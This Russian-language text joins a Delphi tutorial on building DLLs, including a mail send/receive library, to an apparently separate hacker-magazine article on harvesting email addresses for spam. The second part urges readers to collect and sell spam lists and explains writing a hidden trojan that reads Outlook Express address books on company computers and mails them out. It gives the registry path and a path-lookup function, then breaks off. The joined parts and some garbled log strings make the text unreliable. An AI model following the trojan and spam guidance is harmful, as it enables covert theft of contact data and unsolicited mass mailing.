Функция у меня получилась следующая, пройдемся по тексту: unit Unit1; interface uses SysUtils, Classes, windows, forms; function Sum (AValue1 : integer; AValue2 :Integer): integer; stdcall; function ShowForm (AApplication : TApplication; AMemoText : ShortString) : boolean; stdcall; // новая функция, которая и создаст нам форму. implementation uses unit2; // добавили форму Form2 в наш Unit function Sum (AValue1 : integer; AValue2 :Integer) : integer; begin Result := AValue1 + AValue2; end; function ShowForm (AApplication : TApplication; AMemoText : ShortString) : boolean; var DefaultAppl : TApplication; // переменная типа Application MyFrm : TForm2; // Переменная типа TForm2, с которой и будем работать begin Result := false; DefaultAppl := AApplication; // запоминаем переданный нам Application if AApplication <> nil then // проверяем на NIL переданное значение begin MyFrm := TForm2.Create(AApplication); // создаем форму от переданного Application try MyFrm.Memo1.Lines.Add(AMemoText); //добавлем текст в Memo MyFrm.ShowModal; //показываем форму делая её модальной Result := true; finally AApplication := DefaultAppl; //если вдруг что - то стряслось с Application, то у нас есть шаблон переданного нам Application, который мы сохранили в DefaultAppl FreeAndNil(MyFrm); //высвобождаем созданную форму по окончанию работы end; end else AApplication:= DefaultAppl; end; end. Сразу оговорюсь, если в бибиотеке создаются "вручную" объекты, то вручную же они и должны быть высвобождены. Теперь в основном окне созданой библиотеки в разделе Exports добавим нашу
функцию exports Sum, ShowForm; Скопируйте скомпилированную библиотеку в папку с основным проектом. Теперь перейдем в проект, который вызывает нашу библиотеку. Добавьте на форме уже к имеющимся на ней кнопку и Edit, очистите Edit, свойству Caption кнопки напишите ShowForm. Идея в следующем: по нажатию кнопки мы загрузим нашу библиотеку и передадим ей текст, находящийся у нас в Edit4. Нажмите 2 раза на кнопку button2 и перейдёте в модуль с описанием наших вызовов библиотеки, мой код получился следующим, пройдемся по тексту: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Edit1: TEdit; Edit2: TEdit; Button1: TButton; Edit3: TEdit; Button2: TButton; Edit4: TEdit; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; TSum = function(AValue1 : integer; AValue2 :Integer) : integer; stdcall; TShowFrm = function (AApplication : TApplication; AMemoText : ShortString): boolean; stdcall; // наша новая функция которую мы будем сейчас использовать var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var Dllinst : cardinal; ResSum : TSum; Summa : integer; begin
Dllinst := LoadLibrary('Mydll.dll'); if Dllinst = 0 then showmessage('Библиотека не найдена') else try begin @ResSum := GetProcAddress(Dllinst,'Sum'); summa := ResSum(strtoint(trim(Edit1.Text)),strtoint(trim(Edit2.Text))); Edit3.Text := inttostr(Summa); end; finally FreeLibrary(dllinst); end; end; procedure TForm1.Button2Click(Sender: TObject); var DllInst : Cardinal; ShowFrm : TShowFrm; begin Dllinst := LoadLibrary('MyDll.dll'); if Dllinst = 0 then showmessage('Библиотека не найдена') else try begin @ShowFrm := GetProcAddress(Dllinst,'ShowForm'); //находим нашу новую функцию ShowFrm(Application,Edit4.Text); //передаем текущий Application и текст end; finally FreeLibrary(dllinst); end; end; end. Наверное, вам стало интересно, а зачем я передаю в функцию Application? Я передаю его затем, что мне требуется, чтоб на данный момент у меня был только один Application, конечно, я мог создать форму и от NIL, затем спокойно высвободить её, попробуйте исправить фнкцию эксопрта из DLL, и в проекте соотвественно, чтоб только передавали тескст и всё, заодно потренируйтесь, и посмотрите, что произойдет при вызове функции и создании формы, и вы сразу поймете, почему я так сделал. Скомпилируйте проект и попробуйте в действии. Что? Не впечатляет? Тогда давайте создадим крупный проект, к примеру, библиотеку отправки почты. Не пугайтесь, ничего сложного нет, в чем вы скоро убедитесь. Создайте новый проект библиотеки , File - new - other - Dll wizard, сохраните его, я сохранил его как MySendMail. Итак, давайте уясним задачу, определим, что нам нужно от этой библиотеки: • • • • •
получение почты отправка почты с вложениями и без проверка вложения в письма (спам или не спам) ведение лога работы библиотеки сохранение вложений в определенное место
• •
сохранение текущих параметров настройки клиента в INI файле удаление почты с сервера.
Итак, приступим. Для этого проекта я использовал только один сторонний компонент JEDI, JvSelectDirectory, которые доступны для бесплатного скачивания в Интернете, остальное стандартная библиотека Delphi 6. В проект я добавил модуль ParamsUnit, где я буду описывать все функции, добавил форму для возможности внесения настроек подключения к серверу, задания маски файлов на прием, указания тела письма и адреса отправки, назвал модуль UnitSettings. Форма на рис.1.
Рис.1 Все параметры, которые нам нужны для отправки и приема почты, мы можем как непосредственно создавать и сохранять в INI файле, или передать путь к такому же INI файлу с нужными параметрами, и не пересоздавать параметры. Также, если мы передадим в функцию – вместо пути к INI файлу – пустое множество, то наша DLL должна понимать, что мы хотим ввести параметры вручную. Итак, давайте опишем процесс введения нужных параметров: пройдемся по коду. unit UnitSettings; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Forms,
Controls,
Dialogs, StdCtrls, Buttons, Mask, IdPOP3, JvBaseDlg, JvSelectDirectory; type TSettingsForm = class(TForm) GroupBox1: TGroupBox; edtFrom: TEdit; // от кого письмо edtTO: TEdit; // кому адресовано edtSubject: TEdit; //тема edtBody: TEdit; //тело письма edtAttach: TEdit; //имя файла вложения edtAttachDir: TEdit; //имя директории где я храню все вложения Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Label9: TLabel; Label11: TLabel; Label14: TLabel; Label17: TLabel; GroupBox2: TGroupBox; edtServerUser: TEdit; // имя пользователя edtServerIP: TEdit; //IP адрес сервера Label5: TLabel; Label6: TLabel; Label7: TLabel; Label10: TLabel; Label12: TLabel; edtServerUserPwd: TEdit; //пароль входа на сервер edtPort: TEdit; //порт (25 – прием почты , 110 - отправка) edtLogsDir: TEdit; //директория хранения лог - файлов cbIsDelMail: TCheckBox; //флажок удаления почты после приема btnSave: TBitBtn; //сохранить параметры btnClose: TBitBtn; //выход cbVideMail: TComboBox; // вид работы, 2 режима : прием, отсылка edtMaskFile: TMaskEdit; //маска файлов вложения на прием btnDirAttachPath: TSpeedButton; //выбор папки со вложениями btnDirAttach: TSpeedButton; //имя файлов вложения в этой папке btnLogsPath: TSpeedButton; //выбор папки для хранение лог - файлов cbDefaultFolders: TCheckBox; //флаг того, что мы не хотим выбирать папки, а создадим их по умолчанию, сами ODAttach: TOpenDialog; ODAttachPath: TJvSelectDirectory; ODLogsDir: TJvSelectDirectory; procedure FormCreate(Sender: TObject); procedure FormShow(Sender: TObject); procedure cbDefaultFoldersClick(Sender: TObject); procedure btnDirAttachClick(Sender: TObject); procedure btnDirAttachPathClick(Sender: TObject); procedure btnLogsPathClick(Sender: TObject); private public
end; var SettingsForm: TSettingsForm; implementation {$R *.dfm} uses paramsunit; // подключаем модуль Params procedure TSettingsForm.FormCreate(Sender: TObject); // записываем в виды отправления 2 параметра begin cbVideMail.Items.Add('SEND'); // отправить cbVideMail.Items.Add('RECEIVE'); // принять LoadINI(''); //процедура загрузки INI файла SaveINI(''); //процедура сохранения параметров в INI файл, описаны в модуле Params end; procedure TSettingsForm.FormShow(Sender: TObject); //присваиваем параметры из INI и записываем их в наши компоненты на форме begin edtFrom.Text := params.From; edtTO.Text := Params.Too; edtSubject.Text := Params.Subject; edtBody.Text := Params.Body; edtAttach.Text :=Params.Attach; edtAttachDir.Text := Params.AttachPath; edtServerUser.Text := Params.UserName; edtServerIP.Text := Params.ServerIP; edtServerUserPwd.Text := Params.UserPassword; edtPort.Text := inttostr(Params.ServerPort); edtLogsDir.Text := Params.LogsPath; edtMaskFile.Text := Params.MaskFile; cbIsDelMail.Checked := Params.IsDeleteMessages; cbVideMail.Text := Params.TypeMail; end; procedure TSettingsForm.cbDefaultFoldersClick(Sender:TObject); //описание процесса выбора папок по умолчанию begin if cbDefaultFolders.Checked then begin edtAttachDir.Text:= ''; edtAttachDir.Color:= clBtnFace; edtAttach.ReadOnly:= true; btnDirAttachPath.Enabled:= false; edtLogsDir.Text:= ''; edtLogsDir.Color:= clBtnFace; edtLogsDir.ReadOnly:= true;
btnLogsPath.Enabled:= false; end; if cbDefaultFolders.Checked = false then begin edtAttachDir.Text := ''; edtAttachDir.Color := clWhite; edtAttach.ReadOnly := false; btnDirAttachPath.Enabled := true; edtLogsDir.Text := ''; edtLogsDir.Color := clWhite; edtLogsDir.ReadOnly := false; btnLogsPath.Enabled := true; end; end; procedure TSettingsForm.btnDirAttachClick(Sender: TObject); // выбираем вложения, и разделяем их «;» begin if ODAttach.Execute then begin if edtAttach.Text <> '' then edtAttach.Text := trim(edtAttach.Text) + ExtractFileName(ODAttach.FileName)+';' else edtAttach.Text := ExtractFileName(ODAttach.FileName)+';'; end; end; procedure TSettingsForm.btnDirAttachPathClick(Sender:TObject); // выбираем папку с вложениями begin if ODAttachPath.Execute then begin edtAttachDir.Text := ''; edtAttachDir.Text := ODAttachPath.Directory; end; end; procedure TSettingsForm.btnLogsPathClick(Sender: TObject); // выбираем папку для хранения лог begin if ODLogsDir.Execute then begin edtLogsDir.Text := ''; edtLogsDir.Text := ODLogsDir.Directory; end; end; end. Теперь перейдем к основному разделу, модулю Params, где мы опишем всю работу нашей библиотеки.
Модуль Params unit ParamsUnit; interface uses // в раздел добавляем модули для работы с почтой и INI файлами Windows, Messages, SysUtils, Variants, Classes, Controls, Dialogs, StdCtrls, IniFiles, IdMessage, IdSMTP, IDPop3, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient; type TParams = record // удобнее будет работать с типом, я создал свой тип , где у меня всё что относится к моей библиотеке отправки почты From: string; Too: string; Subject: string; Body: string; Attach: string; AttachPath: string; TypeMail: string; IsDeleteMessages: boolean; ServerIP: string; ServerPort: integer; UserName: string; UserPassword: string; LogsPath: string; MaskFile: string; end; var Params : TParams; function CheckINIFileExist (IniFilePath : Shortring):boolean;stdcall; // проверка переданного нам пути к INI файлу на корректность procedure SaveINI (INIPath : ShortString); // сохранение INI procedure LoadINI (INIPath : ShortString); // загрузка INI procedure CreateFolders; // создание папок по умолчанию function SendMessages (IniFilePath : shortString) : boolean ; stdcall; // Отправка почты function ReceiveMessages (IniFilePath : shortstring) : boolean; stdcall; // прием почты procedure Logs (ADDstring : string); // добавление строки в лог function GetFileName(AFilename: String; ANumb: integer): String; function CheckFileByMask (NameFile : string) : boolean; // проверка маски и расширения файла на спам Function SizeFile (Path : string) : longint; // размер файла implementation
uses UnitSettings; procedure SaveINI(INIPath : ShortString); // сохранение INI var INI : TIniFile; begin if INIPath = '' then INIPath := ExtractFilePath(ParamStr(0))+'MySendMail.ini'; INI := TIniFile.Create(INIPath); try INI.WriteString('MAIL','From',Params.From); INI.WriteString('MAIL','To',Params.Too); INI.WriteString('MAIL','Subject',Params.Subject); INI.WriteString('MAIL','Body',Params.Body); INI.WriteString('MAIL','Attach',Params.Attach); INI.WriteString('MAIL','AttachPath',Params.AttachPath); INI.WriteString('MAIL','TypeMail',Params.TypeMail); INI.WriteString('MAIL','MaskFile',Params.MaskFile); INI.WriteBool('MAIL','IsDeleteMessage',Params.IsDeleteMessages); INI.WriteString('MAILOPTIONS','ServerIP',Params.ServerIP); INI.WriteInteger('MAILOPTIONS','ServerPort',Params.ServerPort); INI.WriteString('MAILOPTIONS','UserName',Params.UserName); INI.WriteString('MAILOPTIONS','UserPwd',Params.UserPassword); INI.WriteString('LOGOPTIONS','Path',Params.LogsPath); finally INI.Free; end; end; procedure LoadINI (INIPath : ShortString); // загрузка INI и присвоение значений, или проверка по переданному пути INI файла, и загрузка из него. var INI : TIniFile; begin if INIPath = '' then INIPath := ExtractFilePath(ParamStr(0))+'MySendMail.ini'; INI := TIniFile.Create(INIPath); try Params.From := INI.ReadString('MAIL','From','administrator@cccb.ru'); Params.Too := INI.ReadString('MAIL','To','user@domain.ru'); Params.Subject := INI.ReadString('MAIL','Subject','Test sending mail'); Params.Body := INI.ReadString('MAIL','Body','there are not words in body mail'); Params.Attach := INI.ReadString('MAIL','Attach','bootini.ini'); Params.AttachPath := INI.ReadString('MAIL','AttachPath',''); Params.TypeMail := INI.ReadString('MAIL','TypeMail','SEND'); Params.MaskFile := INI.ReadString('MAIL','MaskFile','*.DBF'); params.IsDeleteMessages := INI.ReadBool('MAIL','IsDeleteMessage',false); Params.ServerIP := INI.ReadString('MAILOPTIONS','ServerIP','172.16.0.8'); Params.ServerPort := INI.ReadInteger('MAILOPTIONS','ServerPort',110); Params.UserName := INI.ReadString('MAILOPTIONS','UserName','user');
Params.UserPassword := INI.ReadString('MAILOPTIONS','UserPwd','user'); Params.LogsPath := INI.ReadString('LOGOPTIONS','Path',''); finally INI.Free; end; end; function CheckINIFileExist (IniFilePath : shortString) : boolean; stdcall; // функция считывания параметров из INI переданного нам. var SetFrm : TSettingsForm; begin Result := false; If FileExists(IniFilePath) then begin LoadINI(IniFilePath); Params.From := trim(SetFrm.edtFrom.Text); Params.Too := trim(SetFrm.edtTO.Text); Params.Subject := trim(SetFrm.edtSubject.Text); Params.Body := trim(SetFrm.edtBody.Text); Params.Attach := trim(SetFrm.edtAttach.Text); Params.AttachPath := trim(SetFrm.edtAttachDir.Text); Params.TypeMail := SetFrm.cbVideMail.Text; Params.IsDeleteMessages := SetFrm.cbIsDelMail.Checked; Params.ServerIP := trim(SetFrm.edtServerIP.Text); Params.ServerPort := strtoint(trim(SetFrm.edtPort.Text)); Params.UserName := trim(SetFrm.edtServerUser.Text); Params.UserPassword := trim(SetFrm.edtServerUserPwd.Text); Params.LogsPath := trim(SetFrm.edtLogsDir.Text); Params.MaskFile := trim(SetFrm.edtMaskFile.Text); end; begin // если файла нет, то мы любезно создаем форму для заполнения параметров и сохраняем введенное в INI SetFrm := TSettingsForm.Create(nil); try if SetFrm.ShowModal = mrOK then begin Params.From := trim(SetFrm.edtFrom.Text); Params.Too := trim(SetFrm.edtTO.Text); Params.Subject := trim(SetFrm.edtSubject.Text); Params.Body := trim(SetFrm.edtBody.Text); Params.Attach := trim(SetFrm.edtAttach.Text); Params.AttachPath := trim(SetFrm.edtAttachDir.Text); Params.TypeMail := SetFrm.cbVideMail.Text; Params.IsDeleteMessages := SetFrm.cbIsDelMail.Checked; Params.ServerIP := trim(SetFrm.edtServerIP.Text); Params.ServerPort := strtoint(trim(SetFrm.edtPort.Text)); Params.UserName := trim(SetFrm.edtServerUser.Text); Params.UserPassword := trim(SetFrm.edtServerUserPwd.Text); Params.LogsPath := trim(SetFrm.edtLogsDir.Text); Params.MaskFile := trim(SetFrm.edtMaskFile.Text); if SetFrm.cbDefaultFolders.Checked then CreateFolders;
SaveINI(ExtractFilePath(ParamStr(0))+'MySendMail.ini'); end; Result := false; finally SetFrm.Free; end; end; end; procedure CreateFolders; // если нам лень создавать папки, программа сама их создаст, а параметры сохранить в INI begin if not DirectoryExists(ExtractFilePath(ParamStr(0))+'Attachments') then begin ForceDirectories(ExtractFilePath(ParamStr(0))+'Attachments'); Params.Attach := ''; end else Params.Attach := ''; if not DirectoryExists(ExtractFilePath(ParamStr(0))+'AttachPath') then begin ForceDirectories(ExtractFilePath(ParamStr(0))+'AttachPath'); Params.AttachPath :=ExtractFilePath(ParamStr(0))+'AttachPath'; end else Params.AttachPath := ExtractFilePath(ParamStr(0))+'AttachPath'; if not DirectoryExists(ExtractFilePath(ParamStr(0))+'Logs') then begin ForceDirectories(ExtractFilePath(ParamStr(0))+'Logs'); Params.LogsPath := ExtractFilePath(ParamStr(0))+'Logs'; end else Params.LogsPath := ExtractFilePath(ParamStr(0))+'Logs'; SaveINI(''); end; function SendMessages (IniFilePath : shortString): boolean ; // отправляем почту var SMTP : TIDsmtp; Attach : TIdAttachment; MessSend : TIdMessage; AttachmentsPath : TstringList; tmp : string; i : integer; begin LoadINI(IniFilePath); SMTP := TIdSMTP.Create(nil); Logs(' > -----------сеанс отправки почты, начало :'+' '+DateTimeToStr(now)); if Params.TypeMail = 'SEND' then begin Logs(' >создание письма на отправку , время : '+DateTimeToStr(now)); MessSend := TIdMessage.Create(nil); AttachmentsPath := TStringList.Create; try if Params.Attach <> '' then begin AttachmentsPath.Delimiter := ';'; AttachmentsPath.DelimitedText := Params.Attach; Logs(' > ïèñüìî îò : '+params.From+' '+DateTimeToStr(now));
MessSend.From.Address := params.From; MessSend.Recipients.EMailAddresses := Params.Too; Logs(' > письмо от : '+params.Too+' '+DateTimeToStr(now)); MessSend.Subject := Params.Subject; MessSend.Body.Add(Params.Body); smtp.Host := Params.ServerIP; smtp.Port := Params.ServerPort; smtp.AuthenticationType := atLogin; smtp.UserId := Params.UserName; smtp.Password := Params.UserPassword; Logs(' > письмо адресовано : '+DateTimeToStr(now)); for i := 0 to AttachmentsPath.Count - 2 do begin tmp := Params.AttachPath+'\'+pchar(AttachmentsPath.Strings[i]); Logs(' > подготовка вложений :'+tmp +' время : '+DateTimeToStr(now)); Logs(' > создание вложения :'+floattostr(SizeFile(tmp))+' размер '+' время : '+DateTimeToStr(now)); Attach := TIdAttachment.Create(MessSend.MessageParts,tmp); end; Logs(' > попытка соединения с сервером '+DateTimeToStr(now)); try SMTP.Connect; except Logs(' ! соединение с сервером не установлено, ошибка '+inttostr(GetLastError)+' '+DateTimeToStr(now)); Logs(' ! -----------сеанс отправки почты завершен с ошибкой : '+DateTimeToStr(now)); end; Logs(' > попытка отправки , время : '+DateTimeToStr(now)); SMTP.Send(MessSend); Logs(' > отправка успешна, время : '+DateTimeToStr(now)); Logs(' > -----------сеанс отправки завершен успешно, время : '+DateTimeToStr(now)); Result := true; end; finally SMTP.Disconnect; AttachmentsPath.Free; SMTP.Free; MessSend.Free; end; end else Logs(' ! -----------сеанс заврешен, проверьте правильность заполнения параметров, парметр установлен в, '+Params.TypeMail+' время : '+DateTimeToStr(now)); end; procedure Logs (ADDstring : string); // процедура добавления строки в лог файл var LogFile : TextFile; begin if not FileExists(Params.LogsPath+'\Logs.txt') then
FileClose(FileCreate(Params.LogsPath+'\Logs.txt')); AssignFile(LogFile,Params.LogsPath+'\Logs.txt'); Reset(LogFile); Append(LogFile); writeln(LogFile,addstring); CloseFile(LogFile); end; function ReceiveMessages (IniFilePath : shortstring) : boolean; // прием почты var AttachReceive : TIdAttachment; MessageReceive : TIdMessage; POP : TIdPop3; i : integer; y : integer; tempFileName : string; tempMaskFile : string; TempSavePath : string; CountAttach : integer; begin LoadINI(IniFilePath); POP := TIdPOP3.Create(nil); MessageReceive := TIdMessage.Create(nil); Logs(' < -----------сеанс получения почты, время :'+DateTimeToStr(now)); if Params.TypeMail = 'RECEIVE' then begin try POP.Host := Params.ServerIP; POP.Port := Params.ServerPort POP.UserId := Params.UserName; POP.Password := Params.UserPassword; Logs(' < подготовка к приему писем , время :'+DateTimeToStr(now)); try Logs(' < попытка соединения с сервером, время :'+DateTimeToStr(now)); POP.Connect; Logs(' < соединения с сервером успешно, время :'+DateTimeToStr(now)); Logs(' < всего пришедших писем :'+inttostr(POP.CheckMessages)+' время проверки : '+DateTimeToStr(now)); for i := 1 to POP.CheckMessages do begin pop.RetrieveHeader(i, MessageReceive); Logs(' < письмо номер '+inttostr(i)+' получено '+DateTimeToStr(now)); Logs(' < письмо От :'+MessageReceive.From.Text+' время приема : '+DateTimeToStr(now)); Logs(' < дата входящего письма : :'+datetostr(MessageReceive.Date)+время получения '+DateTimeToStr(now)); Logs(' < тема письма :'+MessageReceive.Subject); Logs(' < тело письма :'+MessageReceive.Body.Text); Logs(' < размер письма :'+floattostr(POP.RetrieveMsgSize(i))+' áàéò'+' âðåìÿ ïîëó÷åíèÿ '+DateTimeToStr(now));; Logs(' < маска файлов на прием : '+Params.MaskFile+' прверка : '+DateTimeToStr(now));
POP.Retrieve(i,MessageReceive); for y := 0 to MessageReceive.MessageParts.Count - 1 do begin if MessageReceive.MessageParts[y] is TIdAttachment then begin tempFileName := TIdAttachment(MessageReceive.MessageParts.Items[y]).FileName; inc(CountAttach); end; if CheckFileByMask(tempFileName) then begin dec(CountAttach); TIdAttachment(MessageReceive.MessageParts.Items[y]).SaveToFile(Params.Att achPath+'\'+GetFileName(tempFileName, i)); Logs(' < вложение '+tempFileName+' сохранено в : '+Params.AttachPath+'\'+GetFileName(tempFileName, i)+' '+DateTimeToStr(now)); TempSavePath := (Params.AttachPath+'\'+tempFileName); Logs(' < вложение '+tempFileName+' размером : '+floattostr(sizefile(TempSavePath))+' сохранено, время :'+' '+DateTimeToStr(now)); end else begin Logs(' < вложение '+tempFileName+' не сохранено : причина : не проходит по маске , время :'+' '+DateTimeToStr(now)); end; end; if Params.IsDeleteMessages = true then begin if CountAttach = 0 then begin MessageReceive.Clear; POP.Delete(i); Logs(' < письмо, номер '+inttostr(i)+' удалено с сервера '+' время удаления '+DateTimeToStr(now)); end else begin Logs(' < письмо , номер '+inttostr(i)+' не удалено с сервера, причина : в письме есть вложения не проходящие по маске, время : '+DateTimeToStr(now)); MessageReceive.Clear; end; end; end; except Logs(' ! -----------ошибка соединения с сервером :'+inttostr(GetLastError)+' '+DateTimeToStr(now)); Logs(' ! -----------сеанс приема почты завершен с ошибкой :'+DateTimeToStr(now)); end; finally POP.Disconnect; POP.Free;
MessageReceive.Free; Logs(' < -----------завершение сеанса приема почты, сессия успешна :'+DateTimeToStr(now)); end; end else Logs(' ! ----------- завершение сеанса приема почты, проверьте пареметры, установленов '+Params.TypeMail+' , время :'+DateTimeToStr(now)); end; function GetFileName(AFilename: String; ANumb: integer): String; // функция , котрая не даст перезаписать файл если у нас уже есть файл с таким же именем var tmpStr : String; FNumb : integer; begin FNumb := 1; Result := AFilename; while FileExists(Params.AttachPath+'\'+ Result) do begin Result := Copy(AFilename, 1, Pos('.', AFilename) -1) + '_' + IntToStr(FNumb) + ExtractFileExt(AFilename); FNumb := FNumb + 1; end; end; function CheckFileByMask (NameFile : string) : boolean; // проверка файла по маске *.* - любые, *.txt – только текстовые и т.д., # - цифра, ? – буква. var TmpExt : shortstring; TmpMask : shortstring; NowPos : integer; CountSymbols : shortint; LenghtStr : shortint; LengthExt : shortInt; tmpFileName : shortstring; i : shortint; MaskFileExt : shortstring; LenghtMask : shortint; begin Result := false; TmpMask := Params.MaskFile; MaskFileExt := ExtractFileExt(TmpMask); TmpExt := ExtractFileExt(NameFile); LenghtMask := Length(TmpMask) - Length(MaskFileExt); LenghtStr := Length(nameFile); LengthExt := Length(TmpExt); CountSymbols := LenghtStr - LengthExt; tmpFileName := Copy(NameFile,1,pos(TmpExt,NameFile)-1); for i := 1 to CountSymbols do begin if TmpMask[i] <> '*' then begin
if LenghtMask <> CountSymbols then break else begin if (AnsiUpperCase(TmpMask)[i] in ['A'..'Z']) or (AnsiUpperCase(TmpMask)[i] in['0'..'9']) then begin if AnsiUpperCase(tmpFileName)[i] = AnsiUpperCase(TmpMask)[i] then Result := true; break; end else if TmpMask[i] = '?' then begin if tmpFileName <> '' then if (AnsiUpperCase(tmpFileName)[i] in ['A'..'Z']) or (tmpFileName[i] in ['0'..'9']) then if AnsiUpperCase(TmpExt) = AnsiUpperCase(MaskFileExt) then begin Result := true; end; end else if TmpMask[i] = '#' then begin if tmpFileName[i] in ['0'..'9'] then begin if AnsiUpperCase(TmpExt) = AnsiUpperCase(MaskFileExt) then begin Result := true; end end else Result := false; end end; end else if AnsiUpperCase(TmpExt) = AnsiUpperCase(MaskFileExt) then Result := true; end; if TmpMask = '*.*' then Result := true; end; Function SizeFile (Path : string) : longint; // вычисление размера файла var FileHandle: Integer; begin begin if FileExists(Path) then begin Path := Path + chr(0); FileHandle := _lopen(@Path[1], 0); Result := _llseek(FileHandle, 0, 2); _lclose(FileHandle); end else
Result := 0; end; end; end. Теперь перейдем в основное окно и экспортируем наши функции exports CheckINIFileExist, SendMessages, ReceiveMessages; Теперь создайте проект и положите на него 3 кнопки – Send, Receive, CheckINI, в обработчике события нажатия кнопок напишите код загрузки DLL и использовании наших функций, мой код: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Button2: TButton; Button3: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); private public end; TChekingINI = function (IniFilePath : shortString) : boolean stdcall; tsend = function (IniFilePath : shortString) : boolean stdcall; treceive = function (IniFilePath : shortString) : boolean stdcall; var Form1: TForm1;
implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var DLLInst : cardinal; Checking : TChekingINI;
begin DLLInst := LoadLibrary('MySendMail.dll'); try @Checking := GetProcAddress(DLLInst,'CheckINIFileExist'); Checking(''); finally FreeLibrary(DLLInst); end; end; procedure TForm1.Button2Click(Sender: TObject); var Dllinst : cardinal; sending : tsend; begin DLLInst := LoadLibrary('MySendMail.dll'); try @sending := GetProcAddress(DLLInst,'SendMessages'); sending (''); finally FreeLibrary(DLLInst); end; end; procedure TForm1.Button3Click(Sender: TObject); var DllInst : cardinal; receive : treceive; begin DLLInst := LoadLibrary('MySendMail.dll'); try @receive := GetProcAddress(DLLInst,'ReceiveMessages'); receive (''); finally FreeLibrary(DLLInst); end; end; end. Вот и всё. Ничего сложного. Удачи Вам в создании своих библиотек!
Copyright: Tigrillo E-Mail: qkiller7@yandex.ru
Сбор спам-листа Одной мысли «а почему бы мне не заняться рассылкой спама? Ведь на этом можно неплохо заработать!» мало. Софт, необходимый для рассылки спама, можно скачать в сети. А вот собрать свой собственный спам-лист - проблема. Причем размер спам-листа не влияет на полученную прибыль. Размер спам-листа определяется наличием у тебя свободного времени, а также желанием его собирать. Если раз в день уделять хотя бы часик сборке мыльников, то за месяц-другой у тебя уже будет солидная база. Даже если ты передумаешь заниматься рассылкой спама, то можешь попросту взять и продать свой собранный спам-лист другим спамерам.
Где собирать Искать нужно непосредственно на тех ресурсах, где пользователям приходиться указывать свои email адреса – на форумах, в гостевых книгах и так далее. Помимо интернета мыльники можно собирать еще по адресным книгам почтовых клиентов, установленных на компьютерах пользователей. Если, к примеру, получить доступ к адресной книге какого-нибудь более-менее крупного предприятия, то можно неплохо пополнить свой спам-лист. Причем пополнить ценными адресами, так как в основном компании ведут переписку с другими коммерческими предприятиями.
Как собирать Бегать по всем сайтам и кропотливо ручками копировать через буфер адреса - путь деградации. Все можно оптимизировать.
Способ 1 – троянизация. Первым делом рассмотрим, как можно увести базу известных почтовых клиентов на компьютерах каких-нибудь организаций. Самый простой и верный способ - написать свой небольшой троян, который будет считывать адресную книгу известных почтовых клиентов и отправлять мыльники на специально подготовленный для этой цели почтовый ящик. Что должен уметь делать троян? Самое главное - он должен уметь читать адресные книги известных почтовых программ (Outlook Express, TheBat!) и отправлять собранные данные на мыло. Помимо этого он должен незаметно сидеть в системе, иначе можно получить по шапке раньше времени.
Outlook Express Outlook Express сохраняет свою адресную книгу в специальном WAB-файле, поэтому необходимо определить местоположение файла, а потом читать его. Конечно, можно запрограммировать троян так, чтобы он просто переслал этот файл тебе, а ты уже на месте его прочтешь и сохранишь все записи. Способ вроде бы хорош, но примитивен, так как, во-первых, тебе потом придется мучаться с экспортом, а во-вторых, отправить файл с компа жертвы будет тяжелей - многие сейчас обзаводятся персональными файрволами. Чтобы прочитать WAB-файл с адресной книгой, нужно разобраться с соответствующими APIфункциями (все эти функции можно найти в MSDN - www.msdn.microsoft.com). Одна проблема описанные в нем функции приведены с синтаксисом С, а мы собираемся кодить на Delphi. Более того, в поставке с Delphi нет модуля, в котором описаны эти функции. Кажется, замкнутый круг, но нет: группа программистов JEDI об этом позаботилась и написала модуль для работы с WAB. Кроме того,
в поставке с модулями идет хороший примерчик, изучив который, ты сможешь легко написать свой вариант адресной книги. Скачать модуль можешь здесь: ftp://ftp.delphi-jedi.org/api/WAB.zip. После закачки разархивируй в какую-нибудь папку и обязательно настрой в Delphi путь к модулю, иначе он не сможет найти его, а в твоем проекте появится куча непонятных ошибок. После выполнения всех подготовительных процедур запускай свой Delphi и создавай новый проект. Сразу же удали форму из созданного проекта, так как она не понадобится. Теперь все готово, чтобы приступить, собственно, к написанию кода, поэтому пододвигай клаву поближе... Первым делом нужно подключить к проекту все необходимые модули. Cсылки на модули перечисляются в разделе Uses. Для прочтения адресной книги понадобятся следующие модули: Windows, SySUtils, WabDefs, WabApi, WabIab, WabTags, ComObj, Classes. Объяви 2 глобальных переменных: _fileName:string; //Здесь будем хранить путь к файлу с адресной книгой _len:Integer; //Служебная переменная, которая пригодится для работы с реестром Как узнать путь к адресной книге OE? Есть два способа: - запустить поиск всех файлов с расширением wab в личных папках пользователя; - считать путь из реестра. В примере воспользуемся вторым способом, так как он проще в реализации. Путь к адресной книге находится в HKEY_CURRENT_USER\Software\Microsoft\WAB\WAB4\Wab File Name (в параметре «по умолчанию» как раз и будет нужный путь). Для определения пути к файлу адресной книги можно использовать функцию GetWabPath, которая выглядит следующим образом:
function GetWabPath:string; var _regValue:array[0..256] of Char; _regKey: hKEY; begin if RegOpenKey(HKEY_CURRENT_USER, Name', _regKey)=0 then
'Software\Microsoft\WAB\WAB4\Wab
File
RegQueryValue(_regKey, '' , _regValue, _len); Result:=_RegValue; end; В самом начале с помощью WinAPI-функции RegOpenKey проверяется, существует ли указанная в параметре ветка реестра. Если она существует (результат 0), тогда с помощью функции RegQueryValue считывается значение параметра, в котором указан путь к заветному wab-файлу. Для чтения файла адресной книги мы написали функцию GetAllEmail (смотри листинг 1). Сразу после имени процедуры объявлена константа, в качестве которой выступает запись TableColumns, определяющая колонки, информацию которых будем считывать из WAB-файла. В свойстве Definition как раз и перечислены все названия колонок. Это далеко не единственный
